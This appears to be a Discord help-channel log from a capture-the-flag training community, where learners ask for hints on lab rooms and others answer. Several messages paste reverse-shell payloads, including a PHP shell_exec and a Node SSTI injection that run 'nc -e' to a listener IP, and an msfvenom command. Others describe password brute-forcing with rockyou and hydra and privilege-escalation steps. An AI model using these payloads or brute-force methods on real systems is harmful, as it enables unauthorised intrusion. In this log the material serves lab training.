ohhh okaaay thats kinda weird yea

stuck fractal Jul 12, 2020, 2:11 AM

#

I'm not getting pings

#

Something broke

#

hmm

oblique cliff Jul 12, 2020, 2:11 AM

#

@stuck fractal

#

@stuck fractal

#

@stuck fractal

#

hehe

green prism Jul 12, 2020, 2:12 AM

#

streamer mode?

white salmon Jul 12, 2020, 2:13 AM

#

a exploit from https://github.com/SecWiki/windows-kernel-exploits should work on blaster

GitHub

SecWiki/windows-kernel-exploits

windows-kernel-exploits Windows平台提权漏洞集合. Contribute to SecWiki/windows-kernel-exploits development by creating an account on GitHub.

green prism Jul 12, 2020, 2:15 AM

#

long wall of text incoming

#

I need help with /room/reverseengineering
I got the 2 tasks down and third needs a lot of thought.

var_28h is a password inputed by the user to be compared against

What does cmp dword [var_28h], 2 actually do? Does it compare it literally? Or just the first or last bytes?
What do dl and al registers and why do they appear here out of nowhere? Do they point to the same registers lixe eax but with a different type?
How do I debug the program so I can input a word and see what the assembly code does to it?

This part is specially harder because I have no idea what it does:
moov eax, dword [var_28h]
cdqe
movzx edx, byte [rbp + rax - 0x20]
mov eax, dword[var_28h]
cdqe
movzx eax, byte [rbp + rax - 0x23]
cmp dl, al
je 0xetcetc

I just want some pointers what to research and learn further

stuck fractal Jul 12, 2020, 2:16 AM

#

I can answer question 2

#

https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture#General-Purpose_Registers_(GPR)_-_16-bit_naming_conventions

X86 Architecture

green prism Jul 12, 2020, 2:18 AM

#

i've been trying my best with reverse-engineering and still hardly understand what anything does besides simple if conditionals and string comparisons

stuck fractal Jul 12, 2020, 2:19 AM

#

gdb or radare probably

green prism Jul 12, 2020, 2:19 AM

#

yeah i'm using radare2

stuck fractal Jul 12, 2020, 2:19 AM

#

https://tryhackme.com/room/ccradare2

TryHackMe

TryHackMe | CC: Radare2

An in-depth crash course on Radare2

green prism Jul 12, 2020, 2:20 AM

#

oh cool

#

looks like a good place to properly learn r2

white salmon Jul 12, 2020, 2:21 AM

#

ghidra is also a nice tool

green prism Jul 12, 2020, 2:22 AM

#

the graphical menu with -VV from r2 is the only thing that helped me somewhat understand what the crackme3 file did

#

it's great

stuck fractal Jul 12, 2020, 2:22 AM

#

There's Cutter, which is a gui for radare

verbal wedge Jul 12, 2020, 2:23 AM

#

Cutter is luv

green prism Jul 12, 2020, 2:24 AM

#

it has nice interface

cursive nexus Jul 12, 2020, 2:30 AM

#

If I wanted to set the password character length for hydra to just 8 characters, could I just run with -m 8 -M 8 as switches?

stuck fractal Jul 12, 2020, 2:30 AM

#

There's pw-inspector if you want to filter a wordlist

cursive nexus Jul 12, 2020, 2:31 AM

#

Looking that up now. Thank you uncle james ♥️

#

so for example: ps-inspector -i /usr/share/wordlists/rockyou.txt -o rockyou8.txt -m 8 -M 8 would work?

oblique cliff Jul 12, 2020, 2:45 AM

#

try it and find out

cursive nexus Jul 12, 2020, 2:48 AM

#

Like a charm, it worked.

sick sun Jul 12, 2020, 4:54 AM

#

anyone give me hint how to get user ||bjoel|| in rooms blog

stuck fractal Jul 12, 2020, 4:57 AM

#

anyone give me hint how to get user ||bjoel|| in rooms blog
@sick sun how far have you got so far?

tough willow Jul 12, 2020, 5:12 AM

#

room/rpsublist3r task :4 question: 5 what is it ?

#

I hope it's true channel

stuck fractal Jul 12, 2020, 5:14 AM

#

@tough willow again, no one will just give you the answer

#

People can help

#

And hint

#

But you're not going to get an answer to copy paste

tough willow Jul 12, 2020, 5:15 AM

#

what should I do ?

stuck fractal Jul 12, 2020, 5:16 AM

#

Put some work in?

#

Ask for a hint?

#

Tell us what you've tried?

tough willow Jul 12, 2020, 5:17 AM

#

Just I think

#

I can not recall it

stuck fractal Jul 12, 2020, 5:18 AM

#

What have you tried?

#

Have you looked at the output that's attached to the room?

tough willow Jul 12, 2020, 5:19 AM

#

Yes, I looked

#

no writeup

stuck fractal Jul 12, 2020, 5:21 AM

#

That's not what I asked

#

There is a file attached to that task

#

That file is the output of a command

#

You need to be looking through that file.

tough willow Jul 12, 2020, 5:22 AM

#

yes have a subdomains

#

i looked

stuck fractal Jul 12, 2020, 5:23 AM

#

So. Have you thought about which of those sub domains might be about web development?

tough willow Jul 12, 2020, 5:23 AM

#

hmm i'm thinking

stuck fractal Jul 12, 2020, 5:24 AM

#

You need to look at the file

#

It's obvious when you look

tough willow Jul 12, 2020, 5:26 AM

#

I think I should be idiot

stuck fractal Jul 12, 2020, 5:27 AM

#

Short the word "development" and then look harder

tough willow Jul 12, 2020, 5:29 AM

#

I am trying

stuck fractal Jul 12, 2020, 5:38 AM

#

@tough willow don't post answers here

tough willow Jul 12, 2020, 5:39 AM

#

okay sorry

swift magnet Jul 12, 2020, 6:09 AM

#

Guys I need help with the room blog, anyone ?

stuck fractal Jul 12, 2020, 6:10 AM

#

That's not enough information to give you a hint

swift magnet Jul 12, 2020, 6:10 AM

#

Ok can I ask here ?

stuck fractal Jul 12, 2020, 6:10 AM

#

What bit are you stuck at?

swift magnet Jul 12, 2020, 6:11 AM

#

I enumerated usernames found an authenticated rce

#

Bruteforcing didn't give anything

stuck fractal Jul 12, 2020, 6:11 AM

#

Brute forcing what, exactly?

swift magnet Jul 12, 2020, 6:11 AM

#

Wp login

stuck fractal Jul 12, 2020, 6:11 AM

#

For?

#

Using?

#

There's two users that you can easily find.

swift magnet Jul 12, 2020, 6:12 AM

#

I found two users

#

Yep I did

stuck fractal Jul 12, 2020, 6:12 AM

#

Which did you attack by brute force?

#

What wordlists?

swift magnet Jul 12, 2020, 6:12 AM

#

Both

keen willow Jul 12, 2020, 6:13 AM

#

Please please use spoiler tags.

swift magnet Jul 12, 2020, 6:13 AM

#

Seclists top 1000 10 millilion pass list

stuck fractal Jul 12, 2020, 6:13 AM

#

When you're doing THM boxes, stick with rockyou

#

Try again.

swift magnet Jul 12, 2020, 6:13 AM

#

@keen willow I'm not sure how to use that sry😬

stuck fractal Jul 12, 2020, 6:14 AM

#

Should take a maximum of 5 minutes to brute force

#

That's a rule thay box creators have to follow

#

Any brute force is under 5mins.

swift magnet Jul 12, 2020, 6:14 AM

#

Argh thanks I'm using intruder for the sake of simplicity 😂

#

Ok I'll try with hydra thanks 🙌

stuck fractal Jul 12, 2020, 6:14 AM

#

Use wpscan

#

Designed for wordpress

swift magnet Jul 12, 2020, 6:15 AM

#

Oh nice I forgot that thanks @stuck fractal

stuck fractal Jul 12, 2020, 6:15 AM

#

Unless you're told otherwise, assume rockyou if you're brute forcing

swift magnet Jul 12, 2020, 6:15 AM

#

Thanks man @stuck fractal

#

I was looking for any information disclosure bug 😬

stuck fractal Jul 12, 2020, 6:17 AM

#

See if you can find the room creation guidance if you want to see behind the curtain a little.

keen willow Jul 12, 2020, 6:17 AM

#

@keen willow I'm not sure how to use that sry😬
@swift magnet wrap spoiler phrase inside two pipe symbol, or google it.

tough willow Jul 12, 2020, 6:17 AM

#

room/rpsublist3r task:4 quest:7

#

:(

swift magnet Jul 12, 2020, 6:18 AM

#

@keen willow alright thanks

stuck fractal Jul 12, 2020, 6:18 AM

#

@tough willow do some research into the words and phrases mentioned in the question. These tasks are a test of your reading skills.

tough willow Jul 12, 2020, 6:19 AM

#

reading skills

stuck fractal Jul 12, 2020, 6:19 AM

#

Yes.

tough willow Jul 12, 2020, 6:19 AM

#

i liked it

#

:D

stuck fractal Jul 12, 2020, 6:20 AM

#

I just found the answer with some reading

tough willow Jul 12, 2020, 6:20 AM

#

:(

stuck fractal Jul 12, 2020, 6:20 AM

#

Read through the results, look for one that matches

#

You do need to put some effort in.

#

You're not going to be spoonfed answers

tough willow Jul 12, 2020, 6:21 AM

#

:((

stuck fractal Jul 12, 2020, 6:22 AM

#

If you're expecting to be spoonfed answers, you've chosen the wrong area of study

tough willow Jul 12, 2020, 6:22 AM

#

I will try only my head hurts

stuck fractal Jul 12, 2020, 6:23 AM

#

Take a break

tough willow Jul 12, 2020, 6:23 AM

#

okay
i will try again later

#

thanks

tough willow Jul 12, 2020, 7:07 AM

#

dude i found

#

i finished room

#

yey

sick sun Jul 12, 2020, 7:22 AM

#

@stuck fractal what do you mind man ?

#

||bruteforce pass in mysql||

rancid crystal Jul 12, 2020, 7:27 AM

#

You don't really have to ping James.. if you want to ask something you can just ask here

trim haven Jul 12, 2020, 8:08 AM

#

James is sleeping

subtle terrace Jul 12, 2020, 8:36 AM

#

Hello, I am new here. Can somebody explain why binary shiba1 doesn't execute?
shiba1@nootnoot:~$ ls .
b.txt noon.txt shiba1
shiba1@nootnoot:~$ ./shiba1
shiba1@nootnoot:~$ execute ./shiba1
execute: command not found
shiba1@nootnoot:~$ run ./sh

glossy basin Jul 12, 2020, 8:37 AM

#

the binary should be executed like ./shiba1

#

but it'll work only if you have completed all the requrements from the task

subtle terrace Jul 12, 2020, 8:37 AM

#

I did, and after I type ./shiba1 it doesn't work

sturdy shadow Jul 12, 2020, 8:38 AM

#

Box: Blog - I see others on here are getting the same error message on Metrasploit "Exploit failed: An exploitation error occurred", any ideas?

subtle terrace Jul 12, 2020, 8:38 AM

#

Oh, no, shame on me, file should have been noot and not noon

#

sorry for disturbing guys

rancid crystal Jul 12, 2020, 8:39 AM

#

@subtle terrace no worries you can disturb as much you want.. thats how a person learns ❤️ and we will be happy to help 🙂

subtle terrace Jul 12, 2020, 8:40 AM

#

Wow, that's called a SERVICE. My pleasure

white salmon Jul 12, 2020, 8:42 AM

#

In advent of cyber day 13 , edited one of the plugin files with shell.php got a connect but it gets stuck

📎 SPOILER_unknown.png

potent quail Jul 12, 2020, 8:42 AM

#

Box: Blog - I see others on here are getting the same error message on Metrasploit "Exploit failed: An exploitation error occurred", any ideas?
@sturdy shadow I have the same issue. I’ve tried it manually but can’t get it working - I must be doing something wrong. It says it runs fine, and then code execution just does not happen.

#

I’m still trying but yeah minor issues aha

sturdy shadow Jul 12, 2020, 8:51 AM

#

j

@sturdy shadow I have the same issue. I’ve tried it manually but can’t get it working - I must be doing something wrong. It says it runs fine, and then code execution just does not happen.
@potent quail Just added the .rb file from Searchsploit as a metasploit module but still the same error, baffled. Probably something simple I am missing:-(

crisp wigeon Jul 12, 2020, 8:58 AM

#

@potent quail @sturdy shadow change the payload, it will help

potent quail Jul 12, 2020, 8:59 AM

#

@crisp wigeon mind if I message please?

crisp wigeon Jul 12, 2020, 8:59 AM

#

go head

hasty gust Jul 12, 2020, 9:48 AM

#

Working on "Blog" room. Am I right to be going via ||metasploit|| ? I can't seem to get the exploit to work

rancid crystal Jul 12, 2020, 10:16 AM

#

@hasty gust yeah you can use Metasploit for that one. If someone completes it manually do let me know

#

That js one didn't work as expected it should

hasty gust Jul 12, 2020, 10:17 AM

#

Yeah I was looking at that too

white salmon Jul 12, 2020, 10:24 AM

#

Can I get reverse shell with this advent of cyber day 13 || echo shell_exec("nc.exe -e cmd.exe 10.9.56.17 1234");
||

#

I tried to use this || msfvenom -p php/meterpreter_reverse_tcp LHOST=10.9.56.17 LPORT=1234 -f raw > s.php || it connects but can't do anything after it

#

Tried some windows reverse shell from the internet they not working too, been stuck here since morning any hint please.

verbal wedge Jul 12, 2020, 11:33 AM

#

If the payload is failing for Blog then check the payload. I'm not sure what causes it to change but it should be meterpreter reverse tcp

stuck fractal Jul 12, 2020, 11:33 AM

#

Don't use redirection with raw payloads @white salmon

#

@verbal wedge I had it work with php rev meterpreter

verbal wedge Jul 12, 2020, 11:35 AM

#

That may work as well

stuck fractal Jul 12, 2020, 11:46 AM

#

That was the default, I haven't updated msf for a while

halcyon citrus Jul 12, 2020, 11:59 AM

#

RP: burpsuite. Try logging in with invalid credentials. What error is generated when login fails?

#

help me to get this ?

stuck fractal Jul 12, 2020, 11:59 AM

#

Have you tried logging in with invalid credentials?

halcyon citrus Jul 12, 2020, 12:00 PM

#

yes in heroku ,where to find the error?

stuck fractal Jul 12, 2020, 12:00 PM

#

In burp

#

Look for your request

#

Then look at the response

halcyon citrus Jul 12, 2020, 12:00 PM

#

ok will see

sick sun Jul 12, 2020, 12:01 PM

#

anyone give me a hint to get user ||bjoel|| really stuck only and get user ||www-data||

stuck fractal Jul 12, 2020, 12:01 PM

#

@sick sun you've made an assumption.

#

Do standard privesc enumeration

#

Your goal from www-data should be to get anywhere at all

sick sun Jul 12, 2020, 12:02 PM

#

@stuck fractal i found ||SUID ca-bundle.crt|| from ||linpeas||

#

im on rabbit hole ?

stuck fractal Jul 12, 2020, 12:03 PM

#

No you're just wrong

#

That isn't going to be a suid binaru

#

It's crypto certificate stuff

#

Use context

sick sun Jul 12, 2020, 12:04 PM

#

yeah i know bro, i found some creds from ||config.php|| but not working and trying to bruteforce ||bjoel|| user pass from ||blog database|| but nothing

#

context ?

stuck fractal Jul 12, 2020, 12:05 PM

#

Context. Information like where you found it, what it's called, what the file type is

sick sun Jul 12, 2020, 12:05 PM

#

use pspy64s is good ?

#

to get some information

stuck fractal Jul 12, 2020, 12:06 PM

#

Do standard privesc enumeration
@stuck fractal
Your goal from www-data should be to get anywhere at all
@stuck fractal
There's your hints

sick sun Jul 12, 2020, 12:07 PM

#

oke thanks bro

stuck fractal Jul 12, 2020, 12:07 PM

#

Not your bro.

buoyant hatch Jul 12, 2020, 12:22 PM

#

Anybody who completed blog room?

stuck fractal Jul 12, 2020, 12:23 PM

#

Don't ask to ask, just ask.

#

A lot of people here have completed it.

buoyant hatch Jul 12, 2020, 12:24 PM

#

I need some kinda hint 😂

stuck fractal Jul 12, 2020, 12:26 PM

#

We can't give you a hint unless we know where you are.

white salmon Jul 12, 2020, 12:27 PM

#

@stuck fractal You mean "> s.php" this redirect? . Got shell with metasploit default payload but I'd like to do it manually too

stuck fractal Jul 12, 2020, 12:28 PM

#

@white salmon yes. You're outputting a binary from msfvenom, use the output flag rather than a redirect

#

Your binary will be fill of control characters and null bytes

#

It doesn't work with redirects

white salmon Jul 12, 2020, 12:29 PM

#

Ye when I cat the s.php it has weird things and the "<?php" part is commented out

wooden mist Jul 12, 2020, 12:29 PM

#

@buoyant hatch just say at what stage you're on

stuck fractal Jul 12, 2020, 12:29 PM

#

Why the heck are you trying to make a php one?

white salmon Jul 12, 2020, 12:30 PM

#

I'd put it in the 404 page and get shell?

stuck fractal Jul 12, 2020, 12:30 PM

#

Use a windows one

#

You can log in with RDP. Why overcomplicate it.

#

Get a shell as a real user rather than the webserver user.

white salmon Jul 12, 2020, 12:31 PM

#

How do I upload .exe file?

#

I'm doing it manually without metasploit

stuck fractal Jul 12, 2020, 12:32 PM

#

There's a dozen ways

#

But you can use a webserver on your machine as one of them

white salmon Jul 12, 2020, 12:32 PM

#

Hi guys, please a hint for Blog room. I have the reverse shell with www-data user. i run linpeas, linenum, linux-smart-enumeration but i really don't understand how to privesc this room..

#

Gotcha start a local webserver and download exe from there , Can do this because both machines are in same local network. The box doesn't has internet I think?

stuck fractal Jul 12, 2020, 12:34 PM

#

You're correct

white salmon Jul 12, 2020, 12:35 PM

#

Thanks 😄

#

HI, I need a hint for blog room. I run Lse.sh for linx enumeration and I found ||/usr/sbin/checker||, is the right way?

stuck fractal Jul 12, 2020, 12:42 PM

#

Please mark as a spoiler

white salmon Jul 12, 2020, 12:44 PM

#

Done

trim haven Jul 12, 2020, 12:45 PM

#

maybe try going down the route and see if it's the right way yourself?

buoyant hatch Jul 12, 2020, 12:52 PM

#

Where should I do the dir scan?

stuck fractal Jul 12, 2020, 12:53 PM

#

@buoyant hatch huh?

buoyant hatch Jul 12, 2020, 12:54 PM

#

I am doing dir brute force, found nothing 😑

stuck fractal Jul 12, 2020, 12:54 PM

#

You won't find anything interesting

buoyant hatch Jul 12, 2020, 12:55 PM

#

Yeah I know that from hint 😁 that's why I asked where should I do brureforce

#

Any hint

minor linden Jul 12, 2020, 12:55 PM

#

I am trying to do the christmas challenge but i cant find any cookies for the first day question:

#

📎 unknown.png

#

What am i doing wrong?

stuck fractal Jul 12, 2020, 12:57 PM

#

You need to create an account

minor linden Jul 12, 2020, 12:57 PM

#

lel ok

buoyant hatch Jul 12, 2020, 12:57 PM

#

Any hint for mr

#

Me

stuck fractal Jul 12, 2020, 12:58 PM

#

@buoyant hatch maybe trust your instincts and try things

buoyant hatch Jul 12, 2020, 12:59 PM

#

🙄

stuck fractal Jul 12, 2020, 1:00 PM

#

You suggested something

#

Try that thing

rotund skiff Jul 12, 2020, 1:55 PM

#

stuck on the juiceshop portion of the Plethora room. Tried running this ||#{global.process.mainModule.require('child_process').exec('nc -e /bin/bash 127.0.0.1 4444')}|| from one of the writeups and replaced the IP with my tun0 IP but no shell in my listener. Am I headed in the right direction?

stuck fractal Jul 12, 2020, 1:56 PM

#

stuck on the juiceshop portion of the Plethora room. Tried running this ||#{global.process.mainModule.require('child_process').exec('nc -e /bin/bash 127.0.0.1 4444')}|| from one of the writeups and replaced the IP with my tun0 IP but no shell in my listener. Am I headed in the right direction?
@rotund skiff Fun fact. Juiceshop in a docker container breaks ||SSTI|| which is the vuln you're trying to exploit.

#

The room is broken, you're doing it right

#

Except nc -e rarely works

rotund skiff Jul 12, 2020, 1:58 PM

#

alright, so is there a working solution with the docker?

stuck fractal Jul 12, 2020, 1:59 PM

#

Nope

#

But you have access to the host OS, so you can get the flag via the container's filesystem

rotund skiff Jul 12, 2020, 2:00 PM

#

alright, thank you

chilly mantle Jul 12, 2020, 2:00 PM

#

im stuck after running lse in blog any hints?

oblique cliff Jul 12, 2020, 2:04 PM

#

@chilly mantle don’t post in multiple channels

chilly mantle Jul 12, 2020, 2:04 PM

#

didnt ||get|| reply

stuck fractal Jul 12, 2020, 2:05 PM

#

maybe wait more than 4 minutes?

oblique cliff Jul 12, 2020, 2:05 PM

#

You waited 3 minutes

chilly mantle Jul 12, 2020, 2:08 PM

#

ok have seen multiple people ask in both chats soo i posted

stuck fractal Jul 12, 2020, 2:14 PM

#

im stuck after running lse in blog any hints?
@chilly mantle Look at your results.

chilly mantle Jul 12, 2020, 2:14 PM

#

ok bro

stuck fractal Jul 12, 2020, 2:15 PM

#

Not your bro.

patent token Jul 12, 2020, 2:16 PM

#

📎 notyourbro.PNG

chilly mantle Jul 12, 2020, 2:16 PM

#

😂 👍

#

%never mind

stuck fractal Jul 12, 2020, 2:17 PM

#

📎 unknown.png

patent token Jul 12, 2020, 2:17 PM

#

Missing something important there.

📎 usesudofirst.jpg

chilly mantle Jul 12, 2020, 2:18 PM

#

🤨

stuck fractal Jul 12, 2020, 2:18 PM

#

Nah

#

People not trying at all first

#

Problem that's on the rise ATM

serene light Jul 12, 2020, 2:18 PM

#

I am doing task 4, question 2, in room CC: Ghidra. I am having trouble determining "first variable set to". I see the function that should logically set it, but the answer is not correct. I expect the answer to be a two character, negative like number, but maybe my understanding is off

oblique cliff Jul 12, 2020, 2:20 PM

#

@serene light I haven’t done that room. But the * tell you how many characters the answer should be. So you can look at that as your hint, maybe?

stuck fractal Jul 12, 2020, 2:21 PM

#

Are you in the decompiler view or the assembly view?

serene light Jul 12, 2020, 2:22 PM

#

yes it is 2 chars, @oblique cliff --trying the two i expect ... @stuck fractal decompiler

stuck fractal Jul 12, 2020, 2:22 PM

#

Are you being given the value in 0xsomething format?

#

That means it's hex

oblique cliff Jul 12, 2020, 2:22 PM

#

Gotcha that’s the extent of my help on this one then sorry

stuck fractal Jul 12, 2020, 2:23 PM

#

You might need to convert to decimal

serene light Jul 12, 2020, 2:24 PM

#

but honestly I dont understand some of the code logic. hmmm. let me think on that decimal conversion for a second...

#

im expecting int, but will checkout decimal

stuck fractal Jul 12, 2020, 2:26 PM

#

An int is an integer

oblique cliff Jul 12, 2020, 2:26 PM

#

Decimal means base 10 it can still be an integer

stuck fractal Jul 12, 2020, 2:26 PM

#

Decimal isn't the datatype

#

It's the number base

#

decimal is what you use day-to-day

chilly mantle Jul 12, 2020, 2:26 PM

#

found ||/usr/sbin/checker|| and need some hint after that

stuck fractal Jul 12, 2020, 2:27 PM

#

@chilly mantle What do you think you should do with that file?

serene light Jul 12, 2020, 2:28 PM

#

the answer field expects only 2 characters, not sure decimal will work

stuck fractal Jul 12, 2020, 2:28 PM

#

Huh?

#

if it's a number, then that's fine

#

The standard number system that you learnt to count in

oblique cliff Jul 12, 2020, 2:29 PM

#

@serene light I don’t think you understood what we meant by decimal. 10, 11, 12.

#

These are all decimal numbers

stuck fractal Jul 12, 2020, 2:29 PM

#

we don't mean like 0.1

#

That'd be a float or a double

#

basically, you might need to convert hex to a normal number

#

like 0x13 = 16+3 = 19

oblique cliff Jul 12, 2020, 2:30 PM

#

Google hex to decimal converter

serene light Jul 12, 2020, 2:31 PM

#

yeah, definitely misunderstood...

winged cypress Jul 12, 2020, 2:32 PM

#

Hello, I'm new and I just want to say I'm learning a lot just from reading you help other people. Thank you @stuck fractal @oblique cliff

oblique cliff Jul 12, 2020, 2:32 PM

#

Velkommen :)

stuck fractal Jul 12, 2020, 2:32 PM

#

Some of us who've studied computer science forget that most people don't know decimal/binary/hex

#

Read the task title @white salmon

white salmon Jul 12, 2020, 2:34 PM

#

https://tryhackme.com/room/zthlinux any hints?
https://i.imgur.com/11Y3eTI.png

TryHackMe

TryHackMe | Learn Linux

A guided room designed to teach you the Linux basics!

Imgur

stuck fractal Jul 12, 2020, 2:34 PM

#

The title tells you what you're talking about

#

Most likely Sudo

#

So you've been told about man pages and help options

#

Read those

#

If that doesn't work, do some googling

white salmon Jul 12, 2020, 2:34 PM

#

ok gonna check man sudo

#

I always thought it's su but apparently not 😂

oblique cliff Jul 12, 2020, 2:35 PM

#

That’s to switch users. Sudo is to run a command as a different user

white salmon Jul 12, 2020, 2:35 PM

#

Ahh

stuck fractal Jul 12, 2020, 2:35 PM

#

And sudo su can make you root, which is useful

white salmon Jul 12, 2020, 2:35 PM

#

yup makes sense

stuck fractal Jul 12, 2020, 2:35 PM

#

You can't log in as root on ubuntu by default

#

There's no password set

#

You have to become root using sudo or login using SSH keys

white salmon Jul 12, 2020, 2:44 PM

#

hi, i'm in room Blog and i'm stuck at the reverse of the checker. any hint?

stuck fractal Jul 12, 2020, 2:44 PM

#

Look at it in a decompiler

#

Look at system calls

white salmon Jul 12, 2020, 2:45 PM

#

ok thank you, i'll try

winged cypress Jul 12, 2020, 2:45 PM

#

Hello, is the MACHINE_IP the public IP of the VM?

solemn smelt Jul 12, 2020, 2:46 PM

#

it is the IP of the machine none of the machines I know of have public IPS

stuck fractal Jul 12, 2020, 2:48 PM

#

Hello, is the MACHINE_IP the public IP of the VM?
@winged cypress You need to click deploy.

winged cypress Jul 12, 2020, 2:48 PM

#

Thank you for the response. How do I find the MACHINE_IP of the VM I am working with? I use "ifconfig" but I am not sure which ip address I need to use.

stuck fractal Jul 12, 2020, 2:48 PM

#

it is the IP of the machine none of the machines I know of have public IPS
@solemn smelt Some do.

#

When you click "Deploy" in the room, it creates the VM

#

That will replace MACHINE_IP with the IP of the VM

winged cypress Jul 12, 2020, 2:49 PM

#

I see, thank you very much!

stuck fractal Jul 12, 2020, 2:49 PM

#

That's the machine you're attacking

#

ifconfig gives you IPs for your machine

#

Your attacker machine

serene light Jul 12, 2020, 2:51 PM

#

I am doing task 4, question 2, in room CC: Ghidra. I am having trouble determining "first variable set to". I see the function that should logically set it, but the answer is not correct. I expect the answer to be a two character, negative like number, but maybe my understanding is off
@serene light so decimal clarification was helpful. thanks everyone for that. I have determined the correct answer via accident, I am still trying to figure out the logic. not sure how much I can give away here, but I believe its due to a special character

winged cypress Jul 12, 2020, 2:51 PM

#

Thank you @stuck fractal that really helps!

chilly mantle Jul 12, 2020, 2:52 PM

#

@stuck fractal i completed!

#

blog!

turbid spruce Jul 12, 2020, 2:54 PM

#

Hey there
in the room "25daysofchristmas" (2019 christmas challenge)
in the task 9 [day4]
subquestion 7
Any hints?

Context
I'm a user on a machine i am not root and i'm not a sudoers (running sudo -l echo me a srotty you cannot use sudo). The question is asking for the hash of the mcsysadmin. Easiest way i thought is to look in the etc/shadow file but im not root and i cant sudo. I theoretically get the hash trying the most common hash mode and generating the has for the passwd that i know, is it like that or am i going offroad adn there's an other way easier way?

stuck fractal Jul 12, 2020, 2:55 PM

#

@stuck fractal i completed!
@chilly mantle See what happens when you actually try?

#

Hey there
in the room "25daysofchristmas" (2019 christmas challenge)
in the task 9 [day4]
subquestion 7
Any hints?

Context
I'm a user on a machine i am not root and i'm not a sudoers (running sudo -l echo me a srotty you cannot use sudo). The question is asking for the hash of the mcsysadmin. Easiest way i thought is to look in the etc/shadow file but im not root and i cant sudo. I theoretically get the hash trying the most common hash mode and generating the has for the passwd that i know, is it like that or am i going offroad adn there's an other way easier way?
@turbid spruce Without knowing the salt, you can't generate their hash

turbid spruce Jul 12, 2020, 2:55 PM

#

forgot about salt and pepper yeah u right

stuck fractal Jul 12, 2020, 2:55 PM

#

There was a line in the supporting material. Sensitive system files are often backed up, with file extensions like .bak

#

No one cares about pepper

#

But try looking for .bak files

turbid spruce Jul 12, 2020, 2:57 PM

#

yeah thanks i'll do it right now, i appreciate it

winged cypress Jul 12, 2020, 3:07 PM

#

Hi, I am doing the "Learn Linux" room. On Task 11 why do we need to create a noot.txt file to run a binary command for shiba1?

the command "./shiba1" means to execute a file called "shiba1" in the current directory, correct? But when using the command "ls", no such file is listed?

#

never mind, there is a shiba1 file.

#

Why does the room direct the user to create a noot.txt file, though?

stuck fractal Jul 12, 2020, 3:08 PM

#

On Task 11 why do we need to create a noot.txt file to run a binary command for shiba1? The binary checks that the file exists

#

If it does, you get the password

winged cypress Jul 12, 2020, 3:08 PM

#

ahhh

stuck fractal Jul 12, 2020, 3:08 PM

#

A binary is just a program

winged cypress Jul 12, 2020, 3:08 PM

#

Thank you.

#

That's very cool!

oblique cliff Jul 12, 2020, 3:09 PM

#

Computers are very cool indeed

winged cypress Jul 12, 2020, 3:09 PM

#

fascinating!

obsidian fog Jul 12, 2020, 3:11 PM

#

Can somebody help with a nudge for blog room. I am www-data user, not sure how to upgrade to bjoel user. I ran lse, linenum and linpeas but couldn't find anything useful other then the DB and Joel's wordpress password. but that's not valid for bjoel su or ssh. any nudges?

patent token Jul 12, 2020, 3:12 PM

#

Consider that you don't actually need to upgrade to bjoel.

steel fiber Jul 12, 2020, 3:15 PM

#

Hello, I'm on day 11 of Advent of cyber and stucked on ftp part, it returns "500 Illegal PORT command.; ftp: bind: Address already in use" every time i try to execute a command like ls or get, should it happen?

stuck fractal Jul 12, 2020, 3:15 PM

#

Switch to an EU VPN server

steel fiber Jul 12, 2020, 3:15 PM

#

Thanks, I'll try

white salmon Jul 12, 2020, 3:35 PM

#

@stuck fractal excuse me again, i'm looking at the system call but i don't understand how to interact with them.. any suggestion for me please?

stuck fractal Jul 12, 2020, 3:35 PM

#

Try to understand the code

white salmon Jul 12, 2020, 3:36 PM

#

the entire code or i need to focus on the main?

sturdy shadow Jul 12, 2020, 3:37 PM

#

:

@potent quail @sturdy shadow change the payload, it will help
@crisp wigeon Thanks that worked.

stuck fractal Jul 12, 2020, 3:43 PM

#

the entire code or i need to focus on the main?
@white salmon Have you done any RE before?

#

This is probably basic level RE

white salmon Jul 12, 2020, 3:45 PM

#

nope..

verbal wedge Jul 12, 2020, 3:46 PM

#

Yeah I would wager you don't need gdb at all for this

#

But it helps

hexed kindle Jul 12, 2020, 3:58 PM

#

Need a hint for the Bonus challenge in Learn Linux 🙂

#

Task 43. Only task preventing me from finishing the room

stuck fractal Jul 12, 2020, 4:00 PM

#

nope..
@white salmon I recommend taking a break and learning some basic RE then

#

Ghidra/cutter/r2

minor linden Jul 12, 2020, 4:09 PM

#

i am trying week 2 of christmas challenge now and i found the hidden page

#

but where am i supposed to search for the password

#

ive tried a lot and cant find it

stuck fractal Jul 12, 2020, 4:10 PM

#

...Week 2?

minor linden Jul 12, 2020, 4:10 PM

#

uhm sorry

#

day 2

#

📎 unknown.png

#

this lol

stuck fractal Jul 12, 2020, 4:18 PM

#

Check the page source

#

And do some research on the site it mentioned

minor linden Jul 12, 2020, 4:22 PM

#

yeah i got it now but i think at the place where i looked

#

there was supposed to be a link

#

but it wasnt there

#

📎 unknown.png

#

there was no link here xd

#

think it was supposed to be there?

stuck fractal Jul 12, 2020, 4:27 PM

#

There wasn't supposed to be a link

#

you're told github repo

#

so you do some searching on github

minor linden Jul 12, 2020, 4:33 PM

#

ah okay thx

sturdy shadow Jul 12, 2020, 5:39 PM

#

Blog box - Spent today enumerating and still cannot see a privesc out of www.data or a way to find user.txt. Please can someone point me in the right direction. Many thanks.

stuck fractal Jul 12, 2020, 5:39 PM

#

Run some privesc enumeration scripts

#

Pay attention to the output

sturdy shadow Jul 12, 2020, 5:41 PM

#

Run some privesc enumeration scripts
@stuck fractal Tried most of the usual scripts, maybe spending a day on this box has made me blind:-)

stuck fractal Jul 12, 2020, 5:42 PM

#

I found it without scripts

#

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Linux - Privilege Escalation.md

GitHub

swisskyrepo/PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

sturdy shadow Jul 12, 2020, 5:43 PM

#

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Linux - Privilege Escalation.md
@stuck fractal Thanks

GitHub

swisskyrepo/PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

odd idol Jul 12, 2020, 5:44 PM

#

I am having problems decrypting pgp keys, I am getting the following error, gpg: decryption failed: secret key not available

stuck fractal Jul 12, 2020, 5:44 PM

#

Did you import the secret key?

#

Are you decrypting keys or files?

#

What room, task, question?

odd idol Jul 12, 2020, 5:45 PM

#

decrypting keys

#

its the tomghost room

stuck fractal Jul 12, 2020, 5:45 PM

#

You need to import the key

#

You might need to crack a passphrase

